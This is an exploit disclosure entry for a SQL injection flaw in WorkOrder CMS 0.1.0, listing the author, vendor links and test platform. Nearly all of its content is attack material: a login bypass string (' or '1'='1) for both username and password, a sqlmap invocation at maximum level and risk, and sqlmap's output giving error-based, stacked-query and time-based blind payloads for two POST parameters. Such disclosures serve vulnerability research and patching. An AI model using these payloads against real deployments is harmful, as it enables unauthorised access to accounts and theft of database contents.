WorkOrder CMS 0.1.0 - SQL Injection Vulnerability

# Exploit Title: WorkOrder CMS 0.1.0 - SQL Injection
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://github.com/romzes13/WorkOrderCMS
# Software Link: https://github.com/romzes13/WorkOrderCMS/archive/refs/tags/v0.1.0.zip
# Version: 0.1.0
# Tested on: Linux

# Auth Bypass:


username:' or '1'='1

password:' or '1'='1


#sqlmap -r workorder.req --threads=10 --level 5 --risk 3 --dbs --dbms=mysql


# POST Requests:


Parameter: #1* ((custom) POST)

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

    Payload: userName=1'='1&password=1/' AND (SELECT 3761 FROM(SELECT
COUNT(*),CONCAT(0x7170627071,(SELECT
(ELT(3761=3761,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UUhY!1111'/


    Type: stacked queries

    Title: MySQL >= 5.0.12 stacked queries (comment)

    Payload: userName=1'='1&password=1/';SELECT SLEEP(5)#!1111'/


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: userName=1'='1&password=1/' AND (SELECT 6822 FROM
(SELECT(SLEEP(5)))lYsh)-- YlDI!1111'/


Parameter: #2* ((custom) POST)

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

    Payload: userName=1'='1&password=1/!1111' AND (SELECT 2010 FROM(SELECT
COUNT(*),CONCAT(0x7170627071,(SELECT
(ELT(2010=2010,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tqtn/


    Type: stacked queries

    Title: MySQL >= 5.0.12 stacked queries (comment)

    Payload: userName=1'='1&password=1/!1111';SELECT SLEEP(5)#/


    Type: time-based blind

    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)

    Payload: userName=1'='1&password=1/!1111' OR SLEEP(5)-- XuTW/